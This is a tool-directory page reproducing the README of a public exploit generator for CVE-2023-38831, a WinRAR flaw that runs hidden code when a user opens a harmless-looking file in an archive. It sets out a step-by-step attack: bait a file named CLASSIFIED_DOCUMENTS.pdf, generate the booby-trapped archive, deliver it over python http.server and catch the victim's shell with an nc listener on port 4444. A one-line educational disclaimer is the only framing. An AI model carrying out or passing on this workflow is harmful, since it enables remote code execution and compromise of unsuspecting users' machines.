Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-38831 — Generates a malicious RAR archive exploiting CVE-2023-38831 in WinRAR to execute arbitrary code when a user opens a benign file, with a Python-based exploit generator and listener setup. | Kitploit
Tools/GitHubGitHub/asepsaepdin/cve-2023-38831
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubasepsaepdin/cve-2023-38831

CVE-2023-38831

Generates a malicious RAR archive exploiting CVE-2023-38831 in WinRAR to execute arbitrary code when a user opens a benign file, with a Python-based exploit generator and listener setup.

View Repository
3 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-38831 - RARLAB WinRAR Code Execution Vulnerability

Python


⚠️ For educational and authorized security research purposes only

Original Exploit Authors

Very grateful to the original PoC author b1tg and Group-IB Threat Intelligence

Description

RARLabs WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive.

gambar

The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. This was exploited in the wild in April through August 2023.

Demo

winrar


Step Guides

  1. First, modify the script.bat file with your dangerous execution code

  2. Insert the bait file, is recommended to be an image (.png, jpg) or a document (.pdf)

  3. Run the command to generate exploit file

    root@kitploit:~
    python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat  poc.rar
    
  4. Send the exploit file to the target machine using python http.server, for example:

    root@kitploit:~
    python -m http.server
    
  5. Set Up the Listener on your attacker machine:

    root@kitploit:~
    nc -nlvp 4444
    
  6. Download and open exploit file with WinRAR before 6.23 version


Credits

  • https://github.com/b1tg/CVE-2023-38831-winrar-exploit
  • https://nvd.nist.gov/vuln/detail/CVE-2023-38831
  • https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/
Download Tool